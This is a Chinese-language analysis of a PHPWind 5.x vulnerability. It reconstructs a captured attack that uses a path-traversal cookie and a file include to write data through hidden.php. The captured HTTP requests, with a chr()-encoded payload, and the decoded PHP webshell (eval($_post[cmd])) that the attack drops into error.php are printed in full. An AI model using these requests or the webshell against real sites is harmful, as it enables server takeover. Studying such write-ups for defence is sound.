020-29133788
    资 讯
    您的位置:首页 >> 资 讯 >> 网络安全 >> 网页工具 >> 正文
    PHPWind 5.x 漏洞分析报告

    点击:   发布日期:2013-07-02

    本文来自 www.020fix.com

    PHPWind 5.x 漏洞分析报告2007-04-06 21:13听某人说是pinkeyes发现的?还是不说了.有人早写了就不费力了
    在程序运行时,我抓了一个包:
    GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=<?fputs(fopen
    (chr(46).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(112).chr(104).chr(112),w),
    chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).
    chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
    Content-Type: text/html
    Cookie:skinco=../../require/hidden;
    Host: www.5a609.com:81
    Accept: text/html, */*
    User-Agent: Mozilla/3.0 (compatible; Indy Library)

    GET /phpwind//attachment/set.php HTTP/1.1
    Content-Type: text/html
    Cookie:skinco=../../require/hidden;
    Host: www.5a609.com:81
    Accept: text/html, */*
    User-Agent: Mozilla/3.0 (compatible; Indy Library)


    Chr()里的那些东西我查了一下ascii字符表,得到的是这样的:
    <?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
    很显然是在error.php里写入一行php木马:<? eval($_post[cmd]);?> 。
    所以关键是:
    GET /phpwind/job.php?previewjob=preview&D_name=./attachment/set.php&tidwt=中$D_name和$tidwt的出处。这两个东西很重要!于是我下了一个phpwind 的程序看看,开始以为是job.php有问题。进入job.php中,只发现如下代码:

    elseif($previewjob=='preview'){
    require_once(R_P.'require/bbscode.php');
    require_once(R_P.'header.php');
    if (empty($skin)) $skin=$db_defaultstyle;
    if (file_exists(R_P."data/style/$skin.php")){
    include_once("data/style/$skin.php");
    }

    好,在失望的同时也发现了$skin一定有问题,job.php文件头有个:require_once("./global.php");
    接着我们来看看global.php里面的$skin参数吧:

    if ($db_refreshtime!=0){
    if('C:'.$REQUEST_URI==$lastpath && $onbbstime<$db_refreshtime){
    !$_COOKIE['winduid'] && $groupid='guest'
    $skin=$skinco ? $skinco : $db_defaultstyle;
    Showmsg("refresh_limit");
    }

    哦,只要我们定义了$skinco就可以满足$skin了!所以再找找$skinco吧,$skinco只有一处解释,其后,并没有做任何过滤:

    if($skinco && file_exists(R_P."data/style/$skinco.php")){
    Cookie('skinco',$skinco);
    哈哈,好轻鬆,只要存在就可以?这样只要构造一个cookie就完全可以实现。咦?$skinco我们好像哪里见过。果然,就是上面抓的包里面的:
    Cookie:skinco=../../require/hidden;
    这样就更加证明我的思路是正确的,风回路转呀。又不得不佩服这样精彩的手法,按照pinkeyes的思路:构造后应该是这样的:
    data/style/../../require/hidden.php
    也就是./require/hidden.php。
    这样也就是满足了job.php中的

    if (file_exists(R_P."data/style/$skin.php")){
    include_once("data/style/$skin.php");
    到这里,先告一段落,我们回个头想想。我们分析这么多就是pinkeyes要为了包含一个文件:./require/hidden.php。这就奇怪了,为什么这么pinkeyes要千方百计的来包含 ./require/hidden.php呢?直接利用不可以吗?这个hidden.php到底是个什么样的文件呢?嗯,下面的解释会让你有一个满意的答案。
    我小心翼翼的打开hidden.php

    <?php
    !function_exists('readover') && exit('Forbidden');
    $newonline="<>\t$timestamp\t$onlineip\t$fidwt\t$tidwt\t$groupid\t$wherebbsyou\t$acttime\t$uid\t$windid\t";
    $newonline=str_pad($newonline,$db_olsize)."\n";
    $onlineuser=readover(R_P.$D_name);
    if($offset=strpos($onlineuser,"\t".$windid."\t")){
    $inselectfile='N'
    $offset=strpos($onlineuser,"\n",$offset-$db_olsize);$offset+=1;/*会员名不在开始需要转换指针*/
    writeinline(R_P.$D_name,$newonline,$offset);
    }elseif($offset=strpos($onlineuser,str_pad(' ',$db_olsize)."\n")){
    writeinline(R_P.$D_name,$newonline,$offset);
    }else{
    writeover(R_P.$D_name,$newonline,"ab");
    }
    ?>

    看到这里,所有的疑团都解开了!
    1.原来文件头多了个
    !function_exists('readover') && exit('Forbidden');
    这样直接访问是不允许的,后面的代码也不会执行,这样我明白pinkeyes的苦心多走弯路来努力用include来包含这个文件
    2 这个文件里有writeline()是可以写入木马的。$newonline正好也定义了$tidwt,所以最后的writeline()把$tidwt也写进去了。
    写入到了d_name 所定义的set.php这个临时文件里。本来这样就可以写入一个小木马了,只要使$tidwt为编码:<? eval($_post[cmd]);?>就可以的。但是可能是pinkeyes考虑到set.php里的东西比较乱。所以煞费苦心的用
    <?fputs(fopen(./error.php,w)<? eval($_post[cmd]);?>?>
    写入一个更简单的木马到error.php里!这样才多了我们抓的第二个包:
    GET /phpwind//attachment/set.php HTTP/1.1